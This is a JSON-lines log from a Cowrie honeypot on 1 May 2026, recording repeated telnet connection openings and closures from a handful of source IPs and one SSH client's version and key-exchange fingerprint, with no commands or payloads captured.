{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":59844,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f808650dc6b","protocol":"telnet","message":"New connection: 103.211.218.218:59844 (159.203.135.109:23) [session: 0f808650dc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:15.549590Z"}
{"eventid":"cowrie.session.closed","duration":30.997269868850708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:15.581074Z","src_ip":"154.53.41.252","session":"93e1cffd8650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714449167251587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.081690Z","src_ip":"154.53.41.252","session":"0d0d8e7b326a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897929906845093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.097110Z","src_ip":"154.53.41.252","session":"803a25921af2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42484,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db6cdca5692","protocol":"telnet","message":"New connection: 154.53.41.252:42484 (159.203.135.109:23) [session: 3db6cdca5692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.118043Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42596,"dst_ip":"159.203.135.109","dst_port":23,"session":"7977d98016a3","protocol":"telnet","message":"New connection: 154.53.41.252:42596 (159.203.135.109:23) [session: 7977d98016a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.191556Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51968,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ab3045ecfd","protocol":"telnet","message":"New connection: 80.65.211.42:51968 (159.203.135.109:23) [session: d4ab3045ecfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.281385Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42818,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eccd1a74800","protocol":"telnet","message":"New connection: 154.53.41.252:42818 (159.203.135.109:23) [session: 7eccd1a74800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.321321Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47580,"dst_ip":"159.203.135.109","dst_port":23,"session":"71f7e174d166","protocol":"telnet","message":"New connection: 206.130.127.38:47580 (159.203.135.109:23) [session: 71f7e174d166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.452692Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":43534,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64ceb5f747f","protocol":"telnet","message":"New connection: 154.53.41.252:43534 (159.203.135.109:23) [session: a64ceb5f747f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:16.869257Z"}
{"eventid":"cowrie.session.closed","duration":31.421568393707275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:17.408600Z","src_ip":"45.95.113.26","session":"93682b089f35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44176,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ae3960d5618","protocol":"telnet","message":"New connection: 154.53.41.252:44176 (159.203.135.109:23) [session: 5ae3960d5618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:17.439359Z"}
{"eventid":"cowrie.session.closed","duration":31.213667154312134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:17.622119Z","src_ip":"103.211.218.218","session":"a650d0e7160a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":59848,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec506fa4150","protocol":"telnet","message":"New connection: 103.211.218.218:59848 (159.203.135.109:23) [session: fec506fa4150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:17.729106Z"}
{"eventid":"cowrie.session.closed","duration":30.33752131462097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:18.020703Z","src_ip":"154.53.41.252","session":"2c5363b4e9dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753332376480103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:18.144847Z","src_ip":"154.53.41.252","session":"c0fad5f06e26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":45392,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2e64f5616a","protocol":"telnet","message":"New connection: 154.53.41.252:45392 (159.203.135.109:23) [session: bc2e64f5616a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:18.329077Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47176,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee89dab0d66","protocol":"telnet","message":"New connection: 206.130.127.38:47176 (159.203.135.109:23) [session: fee89dab0d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:18.967195Z"}
{"eventid":"cowrie.session.closed","duration":30.368233919143677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:19.077302Z","src_ip":"206.130.127.38","session":"aaa6f364647c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c282db29f6","protocol":"telnet","message":"New connection: 80.65.211.42:51980 (159.203.135.109:23) [session: 83c282db29f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:19.104089Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47294,"dst_ip":"159.203.135.109","dst_port":23,"session":"befa23fe2690","protocol":"telnet","message":"New connection: 154.53.41.252:47294 (159.203.135.109:23) [session: befa23fe2690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:19.496640Z"}
{"eventid":"cowrie.session.closed","duration":30.310328722000122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:20.032448Z","src_ip":"154.53.41.252","session":"e2397c718b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592916250228882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:20.285442Z","src_ip":"154.53.41.252","session":"854e2f24526d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.445653200149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:22.049986Z","src_ip":"154.53.41.252","session":"77a9107d3f6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51063895225525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:22.311007Z","src_ip":"154.53.41.252","session":"f502c557e0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588688135147095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:23.173336Z","src_ip":"45.95.113.26","session":"7bd1959a239a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542333126068115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:23.256188Z","src_ip":"206.130.127.38","session":"4bb2a6916bef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":53706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e806c307645c","protocol":"telnet","message":"New connection: 154.53.41.252:53706 (159.203.135.109:23) [session: e806c307645c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:23.812082Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54400,"dst_ip":"159.203.135.109","dst_port":23,"session":"829de81bc606","protocol":"telnet","message":"New connection: 154.53.41.252:54400 (159.203.135.109:23) [session: 829de81bc606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:24.281520Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56400,"dst_ip":"159.203.135.109","dst_port":23,"session":"b25eb66205ca","protocol":"telnet","message":"New connection: 154.53.41.252:56400 (159.203.135.109:23) [session: b25eb66205ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:25.538616Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56660,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4a79c76d19","protocol":"telnet","message":"New connection: 154.53.41.252:56660 (159.203.135.109:23) [session: ca4a79c76d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:25.730459Z"}
{"eventid":"cowrie.session.closed","duration":30.991008520126343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:26.079648Z","src_ip":"154.53.41.252","session":"087bc37da0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66516661643982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:26.120437Z","src_ip":"154.53.41.252","session":"37c5a3a234ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491384029388428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:26.432233Z","src_ip":"206.130.127.38","session":"10e7f4eea607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389564514160156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:26.540527Z","src_ip":"154.53.41.252","session":"2863c0d84f5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126164197921753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:26.545192Z","src_ip":"154.53.41.252","session":"8da7602ba9b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58540,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e10e1d82294","protocol":"telnet","message":"New connection: 154.53.41.252:58540 (159.203.135.109:23) [session: 6e10e1d82294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:27.192611Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58612,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ba60f783fb7","protocol":"telnet","message":"New connection: 154.53.41.252:58612 (159.203.135.109:23) [session: 8ba60f783fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:27.242657Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0e344e65a6a","protocol":"telnet","message":"New connection: 154.53.41.252:58648 (159.203.135.109:23) [session: c0e344e65a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:27.272882Z"}
{"eventid":"cowrie.session.closed","duration":31.06425404548645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:28.054616Z","src_ip":"45.95.113.26","session":"96899bc54366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050580978393555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:28.299365Z","src_ip":"154.53.41.252","session":"1606c3424dfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"0747c7186078","protocol":"telnet","message":"New connection: 154.53.41.252:33186 (159.203.135.109:23) [session: 0747c7186078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:29.239594Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":60290,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67a55080f27","protocol":"telnet","message":"New connection: 103.211.218.218:60290 (159.203.135.109:23) [session: b67a55080f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:29.379000Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34382,"dst_ip":"159.203.135.109","dst_port":23,"session":"931336d67dff","protocol":"telnet","message":"New connection: 154.53.41.252:34382 (159.203.135.109:23) [session: 931336d67dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:30.295025Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35106,"dst_ip":"159.203.135.109","dst_port":23,"session":"76d40660ac54","protocol":"telnet","message":"New connection: 154.53.41.252:35106 (159.203.135.109:23) [session: 76d40660ac54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:30.856903Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37216,"dst_ip":"159.203.135.109","dst_port":23,"session":"73554cadb0a6","protocol":"telnet","message":"New connection: 154.53.41.252:37216 (159.203.135.109:23) [session: 73554cadb0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:32.445941Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37604,"dst_ip":"159.203.135.109","dst_port":23,"session":"604e5c289f86","protocol":"telnet","message":"New connection: 154.53.41.252:37604 (159.203.135.109:23) [session: 604e5c289f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:32.712193Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"511e383fe2be","protocol":"telnet","message":"New connection: 154.53.41.252:38134 (159.203.135.109:23) [session: 511e383fe2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:33.145439Z"}
{"eventid":"cowrie.session.closed","duration":31.438960790634155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:33.503434Z","src_ip":"45.95.113.26","session":"66cf96023a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38898,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a7c9063a8d","protocol":"telnet","message":"New connection: 154.53.41.252:38898 (159.203.135.109:23) [session: 75a7c9063a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:33.640810Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":40336,"dst_ip":"159.203.135.109","dst_port":23,"session":"19f919c69387","protocol":"telnet","message":"New connection: 154.53.41.252:40336 (159.203.135.109:23) [session: 19f919c69387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:34.580792Z"}
{"eventid":"cowrie.session.closed","duration":30.27363634109497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:35.082730Z","src_ip":"154.53.41.252","session":"792dbf3351d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.176828622817993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:35.290166Z","src_ip":"154.53.41.252","session":"ccf7f1a17d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.6.101.54","src_port":26884,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e9af08b3934","protocol":"telnet","message":"New connection: 191.6.101.54:26884 (10.17.0.5:23) [session: 9e9af08b3934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:35.830389Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42342,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c2cecc7c31e","protocol":"telnet","message":"New connection: 154.53.41.252:42342 (159.203.135.109:23) [session: 7c2cecc7c31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:35.850854Z"}
{"eventid":"cowrie.session.closed","duration":30.8359375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:36.195080Z","src_ip":"45.95.113.26","session":"39484cf65160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11070442199707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:36.200427Z","src_ip":"206.130.127.38","session":"796d7e9bdee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42888,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9c1246b9c04","protocol":"telnet","message":"New connection: 154.53.41.252:42888 (159.203.135.109:23) [session: d9c1246b9c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:36.232461Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.6.101.54","src_port":26119,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f7e0fa276a","protocol":"telnet","message":"New connection: 191.6.101.54:26119 (10.17.0.5:23) [session: 28f7e0fa276a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:37.077909Z"}
{"eventid":"cowrie.session.closed","duration":31.630855321884155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:37.990800Z","src_ip":"45.95.113.26","session":"90bf8faacd94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45430,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d002a0338f4","protocol":"ssh","message":"New connection: 80.94.92.184:45430 (10.17.0.5:22) [session: 6d002a0338f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:38.996782Z"}
{"eventid":"cowrie.session.closed","duration":31.084444522857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.070212Z","src_ip":"154.53.41.252","session":"03583e0de5ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47224,"dst_ip":"159.203.135.109","dst_port":23,"session":"f717d46b5259","protocol":"telnet","message":"New connection: 154.53.41.252:47224 (159.203.135.109:23) [session: f717d46b5259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.126687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.162770Z","src_ip":"80.94.92.184","session":"6d002a0338f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.166342Z","src_ip":"80.94.92.184","session":"6d002a0338f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":49538,"dst_ip":"159.203.135.109","dst_port":23,"session":"070de390432c","protocol":"telnet","message":"New connection: 45.95.113.26:49538 (159.203.135.109:23) [session: 070de390432c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.287756Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47566,"dst_ip":"159.203.135.109","dst_port":23,"session":"23fc2f0da6f6","protocol":"telnet","message":"New connection: 154.53.41.252:47566 (159.203.135.109:23) [session: 23fc2f0da6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.390364Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":48308,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1bd44cdef88","protocol":"telnet","message":"New connection: 154.53.41.252:48308 (159.203.135.109:23) [session: e1bd44cdef88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:39.944998Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":48560,"dst_ip":"159.203.135.109","dst_port":23,"session":"b419a476bde4","protocol":"telnet","message":"New connection: 154.53.41.252:48560 (159.203.135.109:23) [session: b419a476bde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:40.165701Z"}
{"eventid":"cowrie.session.closed","duration":30.78688621520996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:40.203288Z","src_ip":"206.130.127.38","session":"2b1238b0e68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":38972,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e94ec5ce47b","protocol":"telnet","message":"New connection: 206.130.127.38:38972 (159.203.135.109:23) [session: 3e94ec5ce47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:40.338335Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":49550,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f7f0720fbfd","protocol":"telnet","message":"New connection: 45.95.113.26:49550 (159.203.135.109:23) [session: 7f7f0720fbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:40.562540Z"}
{"eventid":"cowrie.session.closed","duration":30.89682412147522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:41.072311Z","src_ip":"103.211.218.218","session":"007eb3212c9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985668182373047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:41.098754Z","src_ip":"154.53.41.252","session":"0532784c9648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.743030071258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:41.826285Z","src_ip":"206.130.127.38","session":"0131619d3c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496721267700195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:42.027531Z","src_ip":"206.130.127.38","session":"873e2c9cba80","protocol":"telnet"}
